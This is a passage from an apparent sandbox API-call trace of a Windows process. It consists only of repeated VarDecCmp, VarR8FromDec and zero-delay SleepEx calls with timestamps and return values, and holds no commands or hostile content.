pdecRight=0xa0eea80) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eea90, pdecRight=0xa0eea80) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeabc, pdecRight=0xa0eeaac) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeabc, pdecRight=0xa0eeaac) returned 0x1 [0130.987] VarDecCmp (pdecLeft=0xa0eea9c, pdecRight=0xa0eea8c) returned 0x1 [0130.987] VarDecCmp (pdecLeft=0xa0eeabc, pdecRight=0xa0eeaac) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeabc, pdecRight=0xa0eeaac) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeabc, pdecRight=0xa0eeaac) returned 0x1 [0130.987] VarDecCmp (pdecLeft=0xa0eea9c, pdecRight=0xa0eea8c) returned 0x1 [0130.987] VarDecCmp (pdecLeft=0xa0eea90, pdecRight=0xa0eea80) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eea90, pdecRight=0xa0eea80) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeabc, pdecRight=0xa0eeaac) returned 0x1 [0130.987] VarDecCmp (pdecLeft=0xa0eea9c, pdecRight=0xa0eea8c) returned 0x1 [0130.987] VarDecCmp (pdecLeft=0xa0eeabc, pdecRight=0xa0eeaac) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeabc, pdecRight=0xa0eeaac) returned 0x1 [0130.987] VarDecCmp (pdecLeft=0xa0eea9c, pdecRight=0xa0eea8c) returned 0x1 [0130.987] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.987] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eeaec, pdecRight=0xa0eeadc) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eeaec, pdecRight=0xa0eeadc) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eea90, pdecRight=0xa0eea80) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eea90, pdecRight=0xa0eea80) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeabc, pdecRight=0xa0eeaac) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eea9c, pdecRight=0xa0eea8c) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eeabc, pdecRight=0xa0eeaac) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeabc, pdecRight=0xa0eeaac) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eea9c, pdecRight=0xa0eea8c) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eeaec, pdecRight=0xa0eeadc) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eeaec, pdecRight=0xa0eeadc) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eeb30, pdecRight=0xa0eeb20) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb30, pdecRight=0xa0eeb20) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb30, pdecRight=0xa0eeb20) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eeb3c, pdecRight=0xa0eeb2c) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eeb3c, pdecRight=0xa0eeb2c) returned 0x1 [0130.988] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.988] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeaec, pdecRight=0xa0eeadc) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeaec, pdecRight=0xa0eeadc) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeaec, pdecRight=0xa0eeadc) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeaec, pdecRight=0xa0eeadc) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeb30, pdecRight=0xa0eeb20) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb30, pdecRight=0xa0eeb20) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb30, pdecRight=0xa0eeb20) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeb3c, pdecRight=0xa0eeb2c) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeb3c, pdecRight=0xa0eeb2c) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeae0, pdecRight=0xa0eead0) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeaec, pdecRight=0xa0eeadc) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb0c, pdecRight=0xa0eeafc) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeaec, pdecRight=0xa0eeadc) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeb30, pdecRight=0xa0eeb20) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb30, pdecRight=0xa0eeb20) returned 0x0 [0130.989] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x1 [0130.989] VarDecCmp (pdecLeft=0xa0eeb3c, pdecRight=0xa0eeb2c) returned 0x1 [0130.990] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x0 [0130.990] VarDecCmp (pdecLeft=0xa0eeb5c, pdecRight=0xa0eeb4c) returned 0x1 [0130.990] VarDecCmp (pdecLeft=0xa0eeb3c, pdecRight=0xa0eeb2c) returned 0x1 [0130.990] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.990] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.990] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.990] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.990] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.990] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.990] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.990] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.990] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.990] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.990] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.990] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.990] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.990] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.990] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.990] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.990] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.990] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.990] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.990] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.990] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.990] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.990] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.990] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.991] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.991] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.991] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.991] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.991] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.991] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.991] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.991] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.991] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.991] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.991] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.991] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.991] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.991] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.991] VarDecCmp (pdecLeft=0xa0eec0c, pdecRight=0xa0eebfc) returned 0x0 [0130.991] VarDecCmp (pdecLeft=0xa0eebec, pdecRight=0xa0eebdc) returned 0x2 [0130.991] VarDecCmp (pdecLeft=0xa0eeb50, pdecRight=0xa0eeb40) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.991] VarDecCmp (pdecLeft=0xa0eead0, pdecRight=0xa0eeac0) returned 0x1 [0130.993] VarR8FromDec (in: pdecIn=0xa0eeb78, pdblOut=0xa0eeb64 | out: pdblOut=0xa0eeb64) returned 0x0 [0130.993] VarR8FromDec (in: pdecIn=0xa0eeb8c, pdblOut=0xa0eeb78 | out: pdblOut=0xa0eeb78) returned 0x0 [0130.993] VarR8FromDec (in: pdecIn=0xa0eeb78, pdblOut=0xa0eeb64 | out: pdblOut=0xa0eeb64) returned 0x0 [0130.993] VarR8FromDec (in: pdecIn=0xa0eeb8c, pdblOut=0xa0eeb78 | out: pdblOut=0xa0eeb78) returned 0x0 [0130.993] VarR8FromDec (in: pdecIn=0xa0eeb78, pdblOut=0xa0eeb64 | out: pdblOut=0xa0eeb64) returned 0x0 [0130.993] VarR8FromDec (in: pdecIn=0xa0eeb8c, pdblOut=0xa0eeb78 | out: pdblOut=0xa0eeb78) returned 0x0 [0130.993] VarR8FromDec (in: pdecIn=0xa0eeb78, pdblOut=0xa0eeb64 | out: pdblOut=0xa0eeb64) returned 0x0 [0130.993] VarDecCmp (pdecLeft=0xa0eea58, pdecRight=0xa0eea48) returned 0x0 [0130.993] VarDecCmp (pdecLeft=0xa0eea58, pdecRight=0xa0eea48) returned 0x0 [0130.993] VarDecCmp (pdecLeft=0xa0eea58, pdecRight=0xa0eea48) returned 0x0 [0130.993] VarDecCmp (pdecLeft=0xa0eea84, pdecRight=0xa0eea74) returned 0x0 [0130.993] VarDecCmp (pdecLeft=0xa0eea84, pdecRight=0xa0eea74) returned 0x1 [0130.993] VarDecCmp (pdecLeft=0xa0eea64, pdecRight=0xa0eea54) returned 0x1 [0130.994] VarDecCmp (pdecLeft=0xa0eea84, pdecRight=0xa0eea74) returned 0x0 [0130.994] VarDecCmp (pdecLeft=0xa0eea84, pdecRight=0xa0eea74) returned 0x0 [0130.994] VarDecCmp (pdecLeft=0xa0eea84, pdecRight=0xa0eea74) returned 0x1 [0130.994] VarDecCmp (pdecLeft=0xa0eea64, pdecRight=0xa0eea54) returned 0x1 [0130.994] VarDecCmp (pdecLeft=0xa0eea58, pdecRight=0xa0eea48) returned 0x0 [0130.994] VarDecCmp (pdecLeft=0xa0eea58, pdecRight=0xa0eea48) returned 0x0 [0130.994] VarDecCmp (pdecLeft=0xa0eea84, pdecRight=0xa0eea74) returned 0x1 [0130.994] VarDecCmp (pdecLeft=0xa0eea64, pdecRight=0xa0eea54) returned 0x1 [0130.994] VarDecCmp (pdecLeft=0xa0eea84, pdecRight=0xa0eea74) returned 0x0 [0130.994] VarDecCmp (pdecLeft=0xa0eea84, pdecRight=0xa0eea74) returned 0x1 [0130.994] VarDecCmp (pdecLeft=0xa0eea64, pdecRight=0xa0eea54) returned 0x1 [0130.994] VarDecCmp (pdecLeft=0xa0eeb34, pdecRight=0xa0eeb24) returned 0x0 [0130.994] VarDecCmp (pdecLeft=0xa0eeb14, pdecRight=0xa0eeb04) returned 0x2 [0130.994] VarDecCmp (pdecLeft=0xa0eeb34, pdecRight=0xa0eeb24) returned 0x0 [0130.994] VarDecCmp (pdecLeft=0xa0eeb14, pdecRight=0xa0eeb04) returned 0x2 [0130.994] VarDecCmp (pdecLeft=0xa0eeb34, pdecRight=0xa0eeb24) returned 0x0 [0130.994] VarDecCmp (pdecLeft=0xa0eeb14, pdecRight=0xa0eeb04) returned 0x2 [0130.994] VarDecCmp (pdecLeft=0xa0eea78, pdecRight=0xa0eea68) returned 0x1 [0130.994] VarDecCmp (pdecLeft=0xa0ee9f8, pdecRight=0xa0ee9e8) returned 0x1 [0130.994] VarDecCmp (pdecLeft=0xa0ee9f8, pdecRight=0xa0ee9e8) returned 0x1 [0130.994] VarDecCmp (pdecLeft=0xa0ee9f8, pdecRight=0xa0ee9e8) returned 0x1 [0130.994] VarR8FromDec (in: pdecIn=0xa0ee9d8, pdblOut=0xa0ee9c4 | out: pdblOut=0xa0ee9c4) returned 0x0 [0130.994] VarR8FromDec (in: pdecIn=0xa0ee9ec, pdblOut=0xa0ee9d8 | out: pdblOut=0xa0ee9d8) returned 0x0 [0130.994] VarR8FromDec (in: pdecIn=0xa0ee9d8, pdblOut=0xa0ee9c4 | out: pdblOut=0xa0ee9c4) returned 0x0 [0130.994] VarR8FromDec (in: pdecIn=0xa0ee9ec, pdblOut=0xa0ee9d8 | out: pdblOut=0xa0ee9d8) returned 0x0 [0130.994] VarR8FromDec (in: pdecIn=0xa0ee9d8, pdblOut=0xa0ee9c4 | out: pdblOut=0xa0ee9c4) returned 0x0 [0130.995] VarR8FromDec (in: pdecIn=0xa0eeb34, pdblOut=0xa0eeb20 | out: pdblOut=0xa0eeb20) returned 0x0 [0130.995] VarR8FromDec (in: pdecIn=0xa0eeb48, pdblOut=0xa0eeb34 | out: pdblOut=0xa0eeb34) returned 0x0 [0130.995] VarR8FromDec (in: pdecIn=0xa0eeb34, pdblOut=0xa0eeb20 | out: pdblOut=0xa0eeb20) returned 0x0 [0130.995] VarR8FromDec (in: pdecIn=0xa0eeb48, pdblOut=0xa0eeb34 | out: pdblOut=0xa0eeb34) returned 0x0 [0130.995] VarR8FromDec (in: pdecIn=0xa0eeb34, pdblOut=0xa0eeb20 | out: pdblOut=0xa0eeb20) returned 0x0 [0130.995] VarR8FromDec (in: pdecIn=0xa0eeb48, pdblOut=0xa0eeb34 | out: pdblOut=0xa0eeb34) returned 0x0 [0130.995] VarR8FromDec (in: pdecIn=0xa0eeb34, pdblOut=0xa0eeb20 | out: pdblOut=0xa0eeb20) returned 0x0 [0131.563] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.564] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.565] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.566] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.571] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.572] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.576] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.577] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.577] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.582] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.582] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.583] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.584] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.585] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.585] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.586] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.586] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.587] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.587] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.588] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.588] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.589] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.589] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.590] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.590] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.591] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.591] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.592] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.593] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.593] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.594] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.598] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.599] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.600] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.600] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.601] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.601] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.602] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.602] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.603] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.603] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.604] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.604] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.605] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.605] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.606] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0131.606] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.808] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.809] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.813] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.815] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.822] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.828] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.832] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.833] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.837] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.838] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.838] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.839] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.839] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.841] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.852] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.853] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.857] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.858] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.858] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.863] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.864] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.868] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.869] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.869] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.870] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.870] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.871] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.871] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.872] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.872] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.873] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.873] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.874] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.874] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.875] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.875] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.876] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.877] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.878] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.879] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.879] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.880] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.884] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.884] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.885] SleepEx (dwMilliseconds=0x0, bAlertable=0) returned 0x0 [0138.885] 